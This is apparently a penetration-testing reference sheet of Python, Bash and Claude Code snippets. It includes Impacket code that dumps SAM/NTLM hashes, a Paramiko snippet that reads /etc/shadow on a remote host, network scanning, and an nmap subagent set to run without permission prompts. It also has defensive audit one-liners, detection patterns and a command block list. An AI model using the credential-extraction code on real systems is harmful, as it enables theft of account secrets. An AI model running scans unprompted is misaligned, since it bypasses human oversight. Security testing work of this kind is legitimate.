<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->

# Security Scripting Reference (Python, Bash, Claude Code)

## Impacket: Credential Extraction

```python
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, SAMHashes

conn = SMBConnection(target_ip, target_ip)
conn.login(username, password, domain)
remote_ops = RemoteOperations(conn, False, None)
remote_ops.enableRegistry()
sam_hashes = SAMHashes(remote_ops.saveSAM(), {}, isRemote=True)
sam_hashes.dump()  # outputs NTLM hashes
```

## Scapy: Network Discovery/Packet Crafting

```python
from scapy.all import ARP, Ether, srp, IP, ICMP, sr1
# ARP scan: host discovery without ICMP
result, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2, verbose=False)
hosts = [(r.psrc, r.hwsrc) for _, r in result]
# TTL OS fingerprinting: 64=Linux, 128=Windows, 255=network device
ttl = sr1(IP(dst=target)/ICMP(), timeout=2, verbose=0).ttl
```

## Paramiko: SSH Lateral Movement

```python
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, username=user, pkey=paramiko.RSAKey.from_private_key_file(key_path))
_, stdout, _ = client.exec_command('cat /etc/shadow', get_pty=False)
print(stdout.read().decode()); client.close()
```

## Bash: Security Audit One-Liners

```bash
# SUID/SGID binary audit
find / -perm /6000 -type f 2>/dev/null | xargs ls -la | tee /tmp/suid_audit.txt

# World-writable files
find / -xdev -type f -perm -002 2>/dev/null | grep -v /proc

# Active listening services with owners
ss -tlnp | awk 'NR>1 {print $4, $6}' | sort -u

# Cron job enumeration
for f in /etc/cron* /var/spool/cron/crontabs/*; do echo "=== $f ==="; cat $f 2>/dev/null; done

# Failed login attempts (brute force detection)
journalctl -u ssh --since "24 hours ago" | grep "Failed password" | awk '{print $11}' | sort | uniq -c | sort -rn | head -20
```

## Python Log Parser (SIEM-Style Alerting)

```python
import re, sys
from pathlib import Path
SUSPICIOUS = [
    (r"Failed password for (\S+) from (\S+)", "SSH_BRUTE"),
    (r"sudo:.+COMMAND=(.+)", "SUDO_EXEC"),
    (r"useradd.*-o.*uid 0", "ROOT_CLONE"),
]
for line in Path("/var/log/auth.log").read_text().splitlines():
    for pat, evt in SUSPICIOUS:
        if re.search(pat, line):
            print(f"[{evt}] {line.strip()}", file=sys.stderr)
```

## Claude Code Security Hooks

Hook config (`.claude/settings.json`):
```json
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{"type": "command", "command": "python3 ~/.claude/hooks/security_guard.py"}]
    }]
  }
}
```

`security_guard.py` — block dangerous operations:
```python
import json, sys, re
data = json.load(sys.stdin)
tool, inp = data["tool_name"], data["tool_input"]
if tool == "Bash":
    cmd = inp.get("command", "")
    blocked = [r'\brm\s+.*-[a-z]*r[a-z]*f', r'chmod\s+777', r'>\s*/etc/']
    for pattern in blocked:
        if re.search(pattern, cmd):
            print(json.dumps({"decision": "block", "reason": f"Blocked: {pattern}"}))
            sys.exit(0)
```

Hook events: `PreToolUse` (block before), `PostToolUse` (audit after), `UserPromptSubmit` (injection guard), `PermissionRequest` (auto-allow read-only), `Stop` (summary generation).

## Subagent Pattern for Parallel Security Enumeration

```markdown
---
name: port-scanner
description: Scan network targets with nmap
model: haiku
tools: Bash
permissionMode: dontAsk
maxTurns: 5
---
Run `nmap -sV -sC -p- --min-rate 1000 {target}` and return JSON findings.
```

## Orchestration Pattern

`.claude/commands/sec-audit.md` triggers orchestrator → spawns `port-scanner` (haiku + Bash) and `vuln-mapper` (sonnet + Read + Bash) as subagents, each with constrained tools and a preloaded skill.

## Anti-Patterns

- `subprocess.run(user_input, shell=True)` — command injection. Use `shlex.split()` and pass list.
- Bare `except:` blocks swallowing paramiko auth failures.
- Single monolithic agent for entire pentest — hits context limits, loses finding state.
- `permissionMode: bypassPermissions` on agents with Write access.
